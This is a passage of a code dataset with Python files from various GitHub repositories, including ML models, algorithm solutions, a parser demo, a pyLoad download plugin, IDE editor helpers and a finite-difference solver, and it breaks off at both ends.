test_df['PhotoAmt'].values.astype(np.int64)\nfor i,pet_id in enumerate(pet_ids):\n PhotoAmt = PhotoAmts[i]\n if PhotoAmt>0: \n batch_images = np.zeros((PhotoAmt,img_size,img_size,3))\n for j in range(PhotoAmt) :\n try:\n batch_images[j] = load_image(\"../input/test_images/\",pet_id,j+1)\n except:\n pass\n batch_preds = np.asarray(m.predict(batch_images))\n batch_preds = batch_preds.mean(axis=0)\n else:\n batch_preds = np.zeros((img_size))\n features[i] = batch_preds\n\n \n \ntest_feats = pd.DataFrame.from_dict(features, orient='index')\nprint(\"test_feats.shape = \"+str(test_feats.shape) + \" before concatination\")\n\ntest_feats = pd.concat([test_df, test_feats.reset_index(drop=True)], axis=1, join='outer')\nprint(\"test_feats.shape = \"+str(test_feats.shape) + \" after concatination\")\n# 17,5 sek for creating a model 3592 - 1 час\n\ntest_feats.to_csv('test_img_features.csv')\ntest_feats.head()","repo_name":"IrinaKrivichenko/Kaggle-competition-PetFinder.my-Adoption-Prediction","sub_path":"image processing.py","file_name":"image processing.py","file_ext":"py","file_size_in_byte":3565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4970068779","text":"from collections import defaultdict\ndef solution(number, k):\n answer = []\n for i in number:\n if answer == []:\n answer.append(i)\n\n continue\n while answer[-1] < i and k > 0:\n answer.pop()\n k -= 1\n if not answer or k <= 0:\n break\n answer.append(i)\n if len(answer) == len(number) -k:\n break\n answer = ''.join(answer)\n return answer","repo_name":"goeom77/algorithm","sub_path":"프로그래머스/lv2/42883. 큰 수 만들기/큰 수 만들기.py","file_name":"큰 수 만들기.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2961305974","text":"import torch\nimport torch.nn as nn\nimport torchvision.models as models\n\n# CNN (Convolutional Neural Network): a CNN model based on the\n# Inception V3 architecture. The last fully connected layer of\n# Inception V3 is replaced with a linear layer to map the output\n# dimension to embed_size. Only fine-tune of the last layer while\n# keeping the rest of the pre-trained Inception V3 layers frozen.\n\n# LSTM (Long Short-Term Memory): an LSTM language model. Takes\n# image features from CNN and captions as input and generates\n# predictions for the next word in the caption sequence. Uses an\n# embedding layer to convert word indices into embeddings and an\n# LSTM layer for sequential modeling. The final linear layer is\n# used to predict the next word.\n\n# CNNLSTM: Combines the CNN and LSTM models for end-to-end image\n# captioning. It takes images and captions as input, extracts\n# image features using the CNN model, and generates captions\n# using the LSTM model.\n\n\n# Input: [1, channels, height, width] or [1, 3, 299, 299].\nclass CNN(nn.Module):\n def __init__(self, embed_size, train_CNN=False):\n super(CNN, self).__init__()\n\n # Default to not train, using pretrained CNN model.\n self.train_CNN = train_CNN\n\n # Using inception_v3.\n # Get last layer according to\n # https://pytorch.org/vision/master/_modules/torchvision/models/inception.html#inception_v3.\n # No idea why setting it false when not initializing works.\n self.inception = models.inception_v3(\n weights=models.Inception_V3_Weights.DEFAULT, aux_logits=True\n )\n self.inception.aux_logits = False\n\n # Replace with a linear layer, map dimension to embed_size.\n self.inception.fc = nn.Linear(self.inception.fc.in_features, embed_size)\n\n # Only update the params for the last layer.\n self.finetune()\n\n self.relu = nn.ReLU()\n self.dropout = nn.Dropout(0.5)\n\n def forward(self, images):\n # images: [batch_size, 3, 299, 299] at minimum (Inceptionv3 requirements).\n output = self.inception(images)\n output = self.relu(output)\n output = self.dropout(output)\n\n # output: [batch_size, embed_size].\n return output\n\n def finetune(self):\n # Do not update pretrained layers' params.\n for param in self.inception.parameters():\n param.requires_grad = False\n # Update only last fc layer's param.\n for param in self.inception.fc.parameters():\n param.requires_grad = True\n\n\n# Input: [batch_size, sequence_length, input_size]\nclass LSTM(nn.Module):\n def __init__(self, embed_size, hidden_size, vocab_size, num_layers):\n super(LSTM, self).__init__()\n\n self.embed_size = embed_size\n self.num_layers = num_layers\n\n # Dimension of hidden state h.\n self.hidden_size = hidden_size\n\n # Exclude the token.\n self.vocab_size = vocab_size\n\n # Convert word indices into size embed_size.\n # https://saturncloud.io/blog/what-are-embeddings-in-pytorch-and-how-to-use-them/#how-do-embeddings-work\n self.embedding = nn.Embedding(self.vocab_size, embed_size)\n\n # Main LSTM.\n self.lstm = nn.LSTM(\n self.embed_size, self.hidden_size, self.num_layers, batch_first=True\n )\n\n # Get probability distribution from LSTM's hidden state for the next word.\n self.linear = nn.Linear(self.hidden_size, self.vocab_size)\n\n # self.dropout = nn.Dropout(0.5)\n\n def forward(self, features, captions):\n # features: [batch_size, embed_size] from CNN.\n # captions: [batch_size, max_caption_length].\n\n # Pass the caption through embedding layer.\n # Note: captions here is from previously unrolled layer of lstm.\n captions = captions[:, :-1]\n embeddings = self.embedding(captions)\n\n # Concatenate image features with word embedding, provide context.\n # Unsqueeze on dim 1 due to batch_first = True, else dim 0.\n embeddings = torch.cat((features.unsqueeze(1), embeddings), dim=1)\n\n output, _ = self.lstm(embeddings)\n output = self.linear(output)\n\n return output\n\n\nclass CNNLSTM(nn.Module):\n def __init__(self, embed_size, hidden_size, vocab_size, num_layers):\n super(CNNLSTM, self).__init__()\n self.CNN = CNN(embed_size)\n self.LSTM = LSTM(embed_size, hidden_size, vocab_size, num_layers)\n\n def forward(self, images, captions):\n features = self.CNN(images)\n output = self.LSTM(features, captions)\n return output\n\n def caption(self, image, vocabulary, max_caption_length):\n result = []\n\n # Not training so no_grad.\n with torch.no_grad():\n # Initialize first hidden state for LSTM.\n # TODO: what about having cnn's output as initial hidden state?\n h_n = None\n\n # 1st dim is batch_size, unsqueeze = batch size of 1.\n # output1: [embed_size], unsqueeze -> [1, embed_size]\n output1 = self.CNN(image).unsqueeze(0)\n\n # Iterate until finish captioning.\n for _ in range(max_caption_length):\n # Pass the image features as LSTM's input with previous hidden states.\n # Use .lstm to bypass the must have captions parameter of forward().\n output2, h_n = self.LSTM.lstm(output1, h_n)\n\n # Squeeze as self.linear = nn.Linear(hidden_size, vocab_size) i.e\n # output2: [1, sequence_length, embed_size], squeeze -> [sequence_length, embed_size]\n output2 = self.LSTM.linear(output2.squeeze(0))\n\n # Get prediction by picking word with highest probability.\n predicted = output2.argmax(1)\n result.append(predicted.item())\n\n # Use the predicted word as input for next unroll.\n output1 = self.LSTM.embedding(predicted).unsqueeze(0)\n\n # Stop if end token.\n if vocabulary.get_itos()[predicted.item()] == \"\":\n break\n\n return result\n","repo_name":"haicanberra/PyTorch-Image-Captioning","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42056899798","text":"import struct\nfrom wrappers import *\n\ndef load_MNIST_labels(filename):\n\n \"\"\"Read MNIST image labels from a file into a matrix\n \n Parameters\n filename: Filename to read labels from\n \n Returns\n images: [number of MNIST images]x1 matrix containing the MNIST labels\n \"\"\"\n try:\n fp = open(filename, 'rb')\n (magic,) = struct.unpack('>i', fp.read(4))\n assert magic == 2049, 'Bad magic number in %r' % filename\n (num_labels,) = struct.unpack('>i', fp.read(4))\n\n labels_str = fp.read()\n assert len(labels_str) == num_labels, \"Mismatch in label count\"\n labels = np.array(struct.unpack(str(len(labels_str)) + 'B',\n labels_str[0:len(labels_str)]))\n\n #convert to appropriate float size \n return labels.astype(floatX)\n\n finally:\n fp.close()\n","repo_name":"quaizarv/deeplearning-benchmark","sub_path":"common/loadMNISTLabels.py","file_name":"loadMNISTLabels.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"30123244811","text":"from graphviz import Digraph\nimport pygal\n\ndef show_graph(graph, filename=None):\n\tdot = Digraph(comment='zaigen graph')\n\tfor node in graph.nodes:\n\t\tif 'inter' in node.name:\n\t\t\tlabel = '.'\n\t\telse:\n\t\t\tnode_label = node.name.replace('_', '\\n')\n\t\t\tlabel = f'{node_label} = {node.value:.0f}'\n\t\tdot.node(node.name, label)\n\tfor edge in graph.edges:\n\t\tdot.edge(edge.start_node.name,\n\t\t\t\t\tedge.end_node.name,\n\t\t\t\t\tlabel=f'{edge.name} = {edge.weight.value:.0f}')\n\n\tdot.format = 'png'\n\tif filename:\n\t\tdot.render(filename=filename, view=False, cleanup=True)\n\telse:\n\t\tdot.view(cleanup=True)\n\ndef plot_node(nodes):\n\tline_chart = pygal.Line()\n\tline_chart.title = 'Node value'\n\tfor node in nodes:\n\t\tline_chart.add(node.name, node.history)\n\tline_chart.render_in_browser()\n\ndef plot_edge(edges):\n\tline_chart = pygal.Line()\n\tline_chart.title = 'Edge weight'\n\tfor edge in edges:\n\t\tline_chart.add(edge.name, edge.history)\n\tline_chart.render_in_browser()\n","repo_name":"justinpinkney/zaigen","sub_path":"zaigen/viz.py","file_name":"viz.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"360137931","text":"class Gems:\n def __init__(self):\n self.gems = {}\n self.len = 0\n def append(self,gem):\n if gem in self.gems:\n self.gems[gem]+=1\n else:\n self.gems[gem]=1\n self.len +=1\n def pop(self,gem):\n self.gems[gem]-=1\n if self.gems[gem]==0:\n del self.gems[gem]\n self.len-=1\n def get_number(self,gem):\n return self.gems.get(gem,0)\n\ndef solution(gems):\n res = [0,10e9]\n required_gems = len(set(gems))\n s=0\n e=0\n scope = Gems()\n while e1:\n scope.pop(gems[s])\n s+=1\n if required_gems == scope.len and e-s-1',views.delete,name='delete'),\n]\n\n","repo_name":"nikhilroy15/project","sub_path":"app1/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16034743562","text":"#!/usr/bin/python3\n# -*- coding:utf-8 -*-\n# Authour:Dreamer\n# Tmie:2018.6.1\n\"\"\"\n就像Python带有随机，数学或时间等几个模块来为您的程序提供附加功能一样，Pygame框架包括几个模块，这些模块具有绘制图形，播放声音，处理鼠标输入以及其他内容的功能。\n\nGUI与CLI:\n您可以使用Python的内置函数编写的Python程序仅通过print（） 和input（）函数处理文本。您的程序可以在屏幕上显示文本，并让用户从键盘输入文本。这种类型的程序有一个命令行界面，或者CLI（发音类似于“攀登”的第一部分，韵文与“天空”）。这些程序有些受限，因为它们无法显示图形，有颜色或使用鼠标。这些CLI程序只能通过input （）函数从键盘获得输入，即使此时用户必须在程序响应输入之前按Enter键。这意味着实时 （即不用等待用户而继续运行代码）动作游戏是不可能的。\n\nPygame提供了用图形用户界面或GUI （发音为“gooey”）创建程序的功能。与基于文本的CLI不同，带有基于图形的GUI的程序可以显示带有图像和颜色的窗口。\n\n\"\"\"\n\n# 导入pygame，sys\n# 从pygame.locals导入*\n\n# 导入pygame，sys包\nimport pygame,sys\n\n# 从pygame.locals中导入所有东西\nfrom pygame.locals import *\n\n# pygame初始化\npygame.init()\n\n# 设置窗口的大小\nDisplaySurf = pygame.display.set_mode((500,400))\n\n# 设置窗口的标题\npygame.display.set_caption('Hello World！')\n\nwhile True: # 主游戏循环\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n pygame.display.update()\n","repo_name":"pengjinfu/Python3","sub_path":"Pygame/hello_world.py","file_name":"hello_world.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1654202780","text":"# -*- coding: utf-8 -*-\n\nimport re\n\nfrom module.common.json_layer import json_loads\nfrom module.plugins.internal.CaptchaService import ReCaptcha\nfrom module.plugins.internal.SimpleHoster import SimpleHoster, create_getInfo\n\n\nclass IfileIt(SimpleHoster):\n __name__ = \"IfileIt\"\n __type__ = \"hoster\"\n __version__ = \"0.27\"\n\n __pattern__ = r'^unmatchable$'\n\n __description__ = \"\"\"Ifile.it\"\"\"\n __author_name__ = \"zoidberg\"\n __author_mail__ = \"zoidberg@mujmail.cz\"\n\n LINK_PATTERN = r' If it doesn\\'t, '\n RECAPTCHA_PATTERN = r\"var __recaptcha_public\\s*=\\s*'([^']+)';\"\n FILE_INFO_PATTERN = r']*>\\s*(?P.*?)\\s* \\s*\\s*(?P[0-9.]+)\\s*(?P[kKMG])i?B\\s*\\s*'\n OFFLINE_PATTERN = r']*>\\s* \\s*\\s*\\s*'\n TEMP_OFFLINE_PATTERN = r'Downloading of this file is temporarily disabled'\n\n\n def handleFree(self):\n ukey = re.match(self.__pattern__, self.pyfile.url).group(1)\n json_url = 'http://ifile.it/new_download-request.json'\n post_data = {\"ukey\": ukey, \"ab\": \"0\"}\n\n json_response = json_loads(self.load(json_url, post=post_data))\n self.logDebug(json_response)\n if json_response['status'] == 3:\n self.offline()\n\n if json_response['captcha']:\n captcha_key = re.search(self.RECAPTCHA_PATTERN, self.html).group(1)\n\n recaptcha = ReCaptcha(self)\n post_data['ctype'] = \"recaptcha\"\n\n for _ in xrange(5):\n post_data['recaptcha_challenge'], post_data['recaptcha_response'] = recaptcha.challenge(captcha_key)\n json_response = json_loads(self.load(json_url, post=post_data))\n self.logDebug(json_response)\n\n if json_response['retry']:\n self.invalidCaptcha()\n else:\n self.correctCaptcha()\n break\n else:\n self.fail(\"Incorrect captcha\")\n\n if not \"ticket_url\" in json_response:\n self.parseError(\"Download URL\")\n\n self.download(json_response['ticket_url'])\n\n\ngetInfo = create_getInfo(IfileIt)\n","repo_name":"sebbrandt87/pyload","sub_path":"module/plugins/hoster/IfileIt.py","file_name":"IfileIt.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"21312034055","text":"class Solution:\n def minPairSum(self, nums: List[int]) -> int:\n nums.sort()\n i = 0\n j = len(nums) - 1\n maxi = float('-inf')\n while i < j:\n maxi = max(maxi, nums[i] + nums[j])\n i += 1\n j -= 1\n return maxi","repo_name":"kalyan321/LeetCode","sub_path":"1877-minimize-maximum-pair-sum-in-array/1877-minimize-maximum-pair-sum-in-array.py","file_name":"1877-minimize-maximum-pair-sum-in-array.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38420353350","text":"import ply.yacc as yacc\nimport ply.lex as lex\nimport os\n\nif os.path.exists(\"parser.out\"):\n os.remove(\"parser.out\")\n print(\"Arquivo de saída já existe, removendo arquivo\")\n\nif os.path.exists(\"parsetab.py\"):\n os.remove(\"parsetab.py\")\n print(\"Parsetable já existe, removendo arquivo\")\n\ninpt = input(\"Qual valor deseja analisar: \")\n\nif(inpt == \"\"):\n print(\"Dando vazio com entrada\");\nelse:\n print(\"Recebido o valor \" + inpt + \" para analise\");\n\nanalyser = input(\"Qual tipo de Analise deseja Realisar ? (1) LALR , (2) SLR \")\n\nif analyser == \"1\" or analyser.lower() == \"lalr\".lower():\n analyser = \"LALR\"\n print(\"Usando LALR\")\n\nelif analyser == \"2\" or analyser.lower() == \"slr\".lower():\n analyser = \"SLR\"\n print(\"Usando SLR\")\n\nelse:\n print(\"Comando não reconhecido, usando LALR como padrão\")\n analyser = \"LALR\"\n\n# Tokens utilizados no programa\n\ntokens = (\n 'NAME', 'NUMBER', 'TIMES','EQUALS',\n )\n\nt_TIMES = r'\\*'\nt_EQUALS = r'='\nt_NAME = r'[a-zA-Z_][a-zA-Z0-9_]*'\n\ndef t_NUMBER(t):\n r'\\d+'\n t.value = int(t.value)\n return t\n\n# Caracteres que serão ignorados (espaço)\n\nt_ignore = \" \\t\"\n\n# Caracter de nova linha\n\ndef t_newline(t):\n r'\\n+'\n t.lexer.lineno += t.value.count(\"\\n\")\n\n# Erro ao dectar caracteres\n\ndef t_error(t):\n print(f\"Carcter Ilegal {t.value[0]!r}\")\n t.lexer.skip(1)\n\nlexer = lex.lex()\n\n# Gramática utilizada\n#S -> L = R | R\n#L -> * R | id\n#R -> L\n\ndef p_S(p):\n '''S : L EQUALS R\n | R'''\ndef p_L(p):\n '''L : TIMES R\n | TERM'''\n\ndef p_R(p):\n '''R : L '''\n\n\ndef p_TERM(p):\n '''TERM : NAME\n | NUMBER '''\n\ndef p_error(p):\n print(\"Erro de sintaxe!\")\n\nparser = yacc.yacc(method=analyser)\n\nresultado = parser.parse(inpt)\n","repo_name":"compilers-uff/slr-vs-lalr-ErickGuimaraes","sub_path":"slrvslalr.py","file_name":"slrvslalr.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33270474787","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n**input_accelerators.py**\n\n**Platform:**\n Windows, Linux, Mac Os X.\n\n**Description:**\n Defines the Application input accelerators objects.\n\n**Others:**\n\"\"\"\n\nfrom __future__ import unicode_literals\n\nimport re\nfrom PyQt4.QtCore import Qt\nfrom PyQt4.QtGui import QTextCursor\n\nimport foundations.common\nimport foundations.strings\nimport foundations.verbose\n\n__author__ = \"Thomas Mansencal\"\n__copyright__ = \"Copyright (C) 2008 - 2014 - Thomas Mansencal\"\n__license__ = \"GPL V3.0 - http://www.gnu.org/licenses/\"\n__maintainer__ = \"Thomas Mansencal\"\n__email__ = \"thomas.mansencal@gmail.com\"\n__status__ = \"Production\"\n\n__all__ = [\"LOGGER\",\n \"get_editor_capability\",\n \"is_symbols_pair_complete\",\n \"perform_completion\",\n \"indentation_pre_event_input_accelerators\",\n \"indentation_post_event_input_accelerators\",\n \"completion_pre_event_input_accelerators\",\n \"completion_post_event_input_accelerators\",\n \"symbols_expanding_pre_event_input_accelerators\"]\n\nLOGGER = foundations.verbose.install_logger()\n\n\ndef get_editor_capability(editor, capability):\n \"\"\"\n Returns given editor capability.\n\n :param editor: Document editor.\n :type editor: QWidget\n :param capability: Capability to retrieve.\n :type capability: unicode\n :return: Capability.\n :rtype: object\n \"\"\"\n\n if not hasattr(editor, \"language\"):\n return\n\n return editor.language.get(capability)\n\n\ndef is_symbols_pair_complete(editor, symbol):\n \"\"\"\n Returns if the symbols pair is complete on current editor line.\n\n :param editor: Document editor.\n :type editor: QWidget\n :param symbol: Symbol to check.\n :type symbol: unicode\n :return: Is symbols pair complete.\n :rtype: bool\n \"\"\"\n\n symbols_pairs = get_editor_capability(editor, \"symbols_pairs\")\n if not symbols_pairs:\n return\n\n cursor = editor.textCursor()\n cursor.movePosition(QTextCursor.StartOfLine, QTextCursor.MoveAnchor)\n cursor.movePosition(QTextCursor.EndOfLine, QTextCursor.KeepAnchor)\n selected_text = foundations.strings.to_string(cursor.selectedText())\n if symbol == symbols_pairs[symbol]:\n return selected_text.count(symbol) % 2 == 0\n else:\n return selected_text.count(symbol) == selected_text.count(symbols_pairs[symbol])\n\n\ndef perform_completion(editor):\n \"\"\"\n Performs the completion on given editor.\n\n :param editor: Document editor.\n :type editor: QWidget\n :return: Method success.\n :rtype: bool\n \"\"\"\n\n completion_prefix = editor.get_partial_word_under_cursor()\n if not completion_prefix:\n return\n\n words = editor.get_words()\n completion_prefix in words and words.remove(completion_prefix)\n editor.completer.update_model(words)\n editor.completer.setCompletionPrefix(completion_prefix)\n if editor.completer.completionCount() == 1:\n completion = editor.completer.completionModel().data(\n editor.completer.completionModel().index(0, 0)).toString()\n cursor = editor.textCursor()\n cursor.insertText(completion[len(completion_prefix):])\n editor.setTextCursor(cursor)\n else:\n popup = editor.completer.popup()\n popup.setCurrentIndex(editor.completer.completionModel().index(0, 0))\n\n completer_rectangle = editor.cursorRect()\n hasattr(editor, \"margin_area_LinesNumbers_widget\") and completer_rectangle.moveTo(\n completer_rectangle.topLeft().x() + editor.margin_area_LinesNumbers_widget.get_width(),\n completer_rectangle.topLeft().y())\n completer_rectangle.setWidth(editor.completer.popup().sizeHintForColumn(0) +\n editor.completer.popup().verticalScrollBar().sizeHint().width())\n editor.completer.complete(completer_rectangle)\n return True\n\n\ndef indentation_pre_event_input_accelerators(editor, event):\n \"\"\"\n Implements indentation pre event input accelerators.\n\n :param editor: Document editor.\n :type editor: QWidget\n :param event: Event being handled.\n :type event: QEvent\n :return: Process event.\n :rtype: bool\n \"\"\"\n\n process_event = True\n if not hasattr(editor, \"indent\"):\n return process_event\n\n if event.key() == Qt.Key_Tab:\n process_event = editor.indent() and False\n elif event.key() == Qt.Key_Backtab:\n process_event = editor.unindent() and False\n return process_event\n\n\ndef indentation_post_event_input_accelerators(editor, event):\n \"\"\"\n Implements indentation post event input accelerators.\n\n :param editor: Document editor.\n :type editor: QWidget\n :param event: Event being handled.\n :type event: QEvent\n :return: Method success.\n :rtype: bool\n \"\"\"\n\n if event.key() in (Qt.Key_Enter, Qt.Key_Return):\n cursor = editor.textCursor()\n block = cursor.block().previous()\n if block.isValid():\n indent = match = re.match(r\"(\\s*)\", foundations.strings.to_string(block.text())).group(1)\n cursor.insertText(indent)\n\n indentation_symbols = get_editor_capability(editor, \"indentation_symbols\")\n if not indentation_symbols:\n return True\n\n if not block.text():\n return True\n\n if not foundations.strings.to_string(block.text())[-1] in indentation_symbols:\n return True\n\n symbols_pairs = get_editor_capability(editor, \"symbols_pairs\")\n if not symbols_pairs:\n return True\n\n cursor.insertText(editor.indent_marker)\n\n position = cursor.position()\n cursor.movePosition(QTextCursor.PreviousBlock, QTextCursor.MoveAnchor)\n cursor.movePosition(QTextCursor.EndOfLine, QTextCursor.MoveAnchor)\n cursor.movePosition(QTextCursor.PreviousCharacter, QTextCursor.KeepAnchor)\n previous_character = foundations.strings.to_string(cursor.selectedText())\n cursor.setPosition(position)\n next_character = editor.get_next_character()\n if previous_character in symbols_pairs:\n if next_character in symbols_pairs.values():\n cursor.insertBlock()\n cursor.insertText(match)\n cursor.movePosition(QTextCursor.PreviousBlock, QTextCursor.MoveAnchor)\n cursor.movePosition(QTextCursor.EndOfLine, QTextCursor.MoveAnchor)\n editor.setTextCursor(cursor)\n return True\n\n\ndef completion_pre_event_input_accelerators(editor, event):\n \"\"\"\n Implements completion pre event input accelerators.\n\n :param editor: Document editor.\n :type editor: QWidget\n :param event: Event being handled.\n :type event: QEvent\n :return: Process event.\n :rtype: bool\n \"\"\"\n\n process_event = True\n\n if editor.completer:\n # TODO: Investigate the slowdown on popup visibility test.\n if editor.completer.popup().isVisible():\n if event.key() in (Qt.Key_Enter, Qt.Key_Return, Qt.Key_Escape, Qt.Key_Tab, Qt.Key_Backtab):\n event.ignore()\n process_event = False\n return process_event\n\n if event.modifiers() in (Qt.ControlModifier, Qt.MetaModifier) and event.key() == Qt.Key_Space:\n process_event = False\n if not editor.completer:\n return process_event\n\n perform_completion(editor)\n\n return process_event\n\n\ndef completion_post_event_input_accelerators(editor, event):\n \"\"\"\n Implements completion post event input accelerators.\n\n :param editor: Document editor.\n :type editor: QWidget\n :param event: Event being handled.\n :type event: QEvent\n :return: Process event.\n :rtype: bool\n \"\"\"\n\n if editor.completer:\n if editor.completer.popup().isVisible():\n perform_completion(editor)\n return True\n\n\ndef symbols_expanding_pre_event_input_accelerators(editor, event):\n \"\"\"\n Implements symbols expanding pre event input accelerators.\n\n :param editor: Document editor.\n :type editor: QWidget\n :param event: Event being handled.\n :type event: QEvent\n :return: Process event.\n :rtype: bool\n \"\"\"\n\n process_event = True\n\n symbols_pairs = get_editor_capability(editor, \"symbols_pairs\")\n if not symbols_pairs:\n return process_event\n\n text = foundations.strings.to_string(event.text())\n if text in symbols_pairs:\n cursor = editor.textCursor()\n if not is_symbols_pair_complete(editor, text):\n cursor.insertText(event.text())\n else:\n if not cursor.hasSelection():\n cursor.insertText(event.text())\n # TODO: Provide an efficient code alternative.\n # position = cursor.position()\n # cursor.movePosition(QTextCursor.EndOfLine, QTextCursor.KeepAnchor)\n # selected_text = foundations.strings.to_string(cursor.selectedText())\n # cursor.setPosition(position)\n # if not selected_text.strip():\n cursor.insertText(symbols_pairs[text])\n cursor.movePosition(QTextCursor.Left, QTextCursor.MoveAnchor)\n else:\n selected_text = cursor.selectedText()\n cursor.insertText(event.text())\n cursor.insertText(selected_text)\n cursor.insertText(symbols_pairs[text])\n editor.setTextCursor(cursor)\n process_event = False\n\n if event.key() in (Qt.Key_Backspace,):\n cursor = editor.textCursor()\n cursor.movePosition(QTextCursor.Left, QTextCursor.KeepAnchor)\n left_text = cursor.selectedText()\n foundations.common.repeat(lambda: cursor.movePosition(QTextCursor.Right, QTextCursor.KeepAnchor), 2)\n right_text = cursor.selectedText()\n\n if symbols_pairs.get(foundations.strings.to_string(left_text)) == foundations.strings.to_string(right_text):\n cursor.deleteChar()\n return process_event\n","repo_name":"KelSolaar/Umbra","sub_path":"umbra/ui/input_accelerators.py","file_name":"input_accelerators.py","file_ext":"py","file_size_in_byte":10032,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"33774774465","text":"#%%\n\"\"\"\n\"\"\"\n\n# =====\n# Importing needed libraries\n# =====\nimport numpy as np\nfrom scipy import linalg\nimport matplotlib.pyplot as plt\n\nimport calfem.geometry as cfg\nimport calfem.mesh as cfm\nimport calfem.vis_mpl as cfv\n\nimport plots\n\n# =====\n# Geometry creation\n# =====\ng = cfg.Geometry() # geometry object\n\n# GENERATING GEOMETRY POINTS\n# center at origin\ng.point([0,0])\n\n# square corners\ng.point([-1,-1])\ng.point([1 ,-1])\ng.point([1 , 1])\ng.point([-1, 1])\n\n# circular interfaces nodes\n# interface 0\nradious = 0.5\nepsilon = 0.01\nrad = radious - epsilon\ng.point([rad, 0])\ng.point([0, rad])\ng.point([-rad,0])\ng.point([0,-rad])\n\n# interface 1\nrad = radious + epsilon\ng.point([rad, 0])\ng.point([0, rad])\ng.point([-rad,0])\ng.point([0,-rad])\n\n# GENERATING GEOMETRY SPLINES\n# boundaries\ndirich = 10\ng.spline([1,2], marker=dirich) # 0\ng.spline([2,3], marker=dirich) # 1\ng.spline([3,4], marker=dirich) # 2\ng.spline([4,1], marker=dirich) # 3\n\n# circular interface 0\ninterface0 = 11\ng.circle([5,0,6], marker=interface0) # 4\ng.circle([6,0,7], marker=interface0) # 5\ng.circle([7,0,8], marker=interface0) # 6\ng.circle([8,0,5], marker=interface0) # 7\n\n# circular interface 1\ninterface1 = 12\ng.circle([9,0,10], marker=interface1) # 8\ng.circle([10,0,11], marker=interface1) # 9\ng.circle([11,0,12], marker=interface1) # 10\ng.circle([12,0,9], marker=interface1) # 11\n\n# geometry plot\ncfv.figure(fig_size=(7,7))\ncfv.title('Geometry')\ncfv.draw_geometry(g)\n\n# GENERATING GEOMETRY SURFACES\nmat0 = 100\nmat1 = 101\nindex_interior_interface_splines = [4,5,6,7]\nindex_exterior_interface_splines = [8,9,10,11]\nindex_boundaries_splies = [0,1,2,3]\ng.surface(index_interior_interface_splines, marker=mat0) # 0\ng.surface(index_boundaries_splies, [index_exterior_interface_splines], marker=mat1) # 1\n\n# =====\n# Mesh creation from geometry object\n# =====\nmesh = cfm.GmshMesh(g)\n\nmesh.el_type = 2 # type of element: 2 = triangle\nmesh.dofs_per_node = 1\nmesh.el_size_factor = 0.5\n\ncoords, edof, dofs, bdofs, elementmarkers = mesh.create() # create the geometry\nverts, faces, vertices_per_face, is_3d = cfv.ce2vf(coords, edof, mesh.dofs_per_node, mesh.el_type) # coordinate-edges to vertices-faces\n\n# mesh plot\ncfv.figure(fig_size=(7,7))\ncfv.title('Mesh')\ncfv.draw_mesh(coords=coords, edof=edof, dofs_per_node=mesh.dofs_per_node, el_type=mesh.el_type, filled=True)\n\n\n# =====\n# Identifying nodes (materials, interfaces, boundaries)\n# =====\nbD = np.asarray(bdofs[dirich]) - 1\nbI0 = np.asarray(bdofs[interface0]) - 1\nbI0.sort()\nbI1 = np.asarray(bdofs[interface1]) - 1\nbI1.sort()\n\nB = np.hstack((bD,bI0,bI1))\n\nelementmarkers = np.asarray(elementmarkers)\n\nbM0 = faces[elementmarkers == mat0]\nbM0 = bM0.flatten()\nbM0 = np.setdiff1d(bM0,B)\n\nbM1 = faces[elementmarkers == mat1]\nbM1 = bM1.flatten()\nbM1 = np.setdiff1d(bM1,B)\n\n\n# plots.plot_nodes(\n# coords,\n# (bD, bI0, bI1, bM0, bM1),\n# ('Boundaries Dirichlet', 'Interface 0', 'Interface 1', 'Material 0', 'Material 1'),\n# alpha=0.5,\n# size = 50,\n# nums=True\n# )\n\n# =====\n# Problem parameters\n# =====\nL = np.array([0,0,0,2,0,2])\nk0 = lambda p: 1\nk1 = lambda p: 2\nfD = lambda p: p[0]\ndef source(p):\n if np.sqrt(p[0]**2 + p[1]**2) < radious - epsilon:\n s = 0\n elif np.sqrt(p[0]**2 + p[1]**2) > radious + epsilon:\n s = 0\n else:\n s = 0\n return s\nbeta = lambda p: 0 # flux jump: `u_n_0 - u_n_1 = beta`\ndef alpha(p):\n return p[0] * 0\n\n# Ensambling properties as dictionaries\nmaterial_properties = {\n 0 : [bM0, k0],\n 1 : [bM1, k1]\n}\n\ndirichlet_properties = {\n 0 : [bD, fD]\n}\n\nneumann_properties = {}\n\n# : [bi, fi, mat0_index, mat1_index]\ninterface_properties = {\n 0 : [bI0, beta, 0, 1, alpha],\n 1 : [bI1, beta, 0, 1, alpha]\n}\n\ninterface_intersections = {}\n\n# ====\n# Solution\n# ====\nfrom GFDMI import GfdmInterf\nK, F = GfdmInterf(\n coords,\n faces,\n L,\n source,\n material_properties,\n dirichlet_properties,\n neumann_properties,\n interface_properties,\n interface_intersections,\n double_nodes=True\n)\n\n# figura = plt.figure()\n# ax = plt.axes(projection=\"3d\")\n# plt.plot(coords[bD,0], coords[bD,1], F[bD])\n\nfrom 